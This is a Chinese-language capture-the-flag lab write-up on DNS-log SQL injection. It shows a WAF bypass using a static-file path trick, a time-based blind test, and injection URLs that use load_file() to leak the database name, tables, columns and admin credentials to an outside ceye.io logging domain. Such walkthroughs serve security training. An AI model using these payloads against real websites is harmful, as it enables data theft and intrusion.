DNS注入原理
通過子查詢,将内容拼接到域名内,讓load_file()去通路拼接好的域名、讀取遠端共享檔案,通路的時候對方伺服器将會做出記錄,然後我們檢視記錄日志
靶場實戰
我們注意到這裡需要一個id傳參,我們就給id傳參1
然後通過and 1=1&and 1=2 判斷注入是否存在
但是當我們測試 and 1=1的時候WAF出來了
然後我們這裡就要利用靜态資源通路法以及Apache的解析漏洞來繞過這個WAF達成注入
測試注入存在
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and 1=1 #頁面正常
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and 1=2 #頁面正常
我們發現我們進行and 1=1和and 1=2測試時頁面沒有變化,那麼這裡很可能有盲注,于是我們進行盲注測試
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and if(length(database())=7,sleep(5),1)
我們發現頁面延遲了5s,證明這裡注入存在
接下來我們要采用一種全新的方式-DNS注入,将盲注變為好注的注入
查詢資料庫名
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and select load_file(concat('//',(select database()),'.mkiugg.ceye.io/abc'))
得出資料庫名為:mangzhu
查詢目前庫下表名
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mkiugg.ceye.io/abc')))
查詢出第一個表名admin
又由提示知道flag就在這個表下面,我們就不查詢别的表名了
然後我們繼續查詢目前表名下字段名:
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.mkiugg.ceye.io/abc')))
不斷修改limit後數字得出admin表字段名有:
id,username,password
查詢資料
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select username from admin limit 0,1),'.mkiugg.ceye.io/abc')))
得出username為flag對應的password字段為:
1flag1good1
驗證後該flag正确!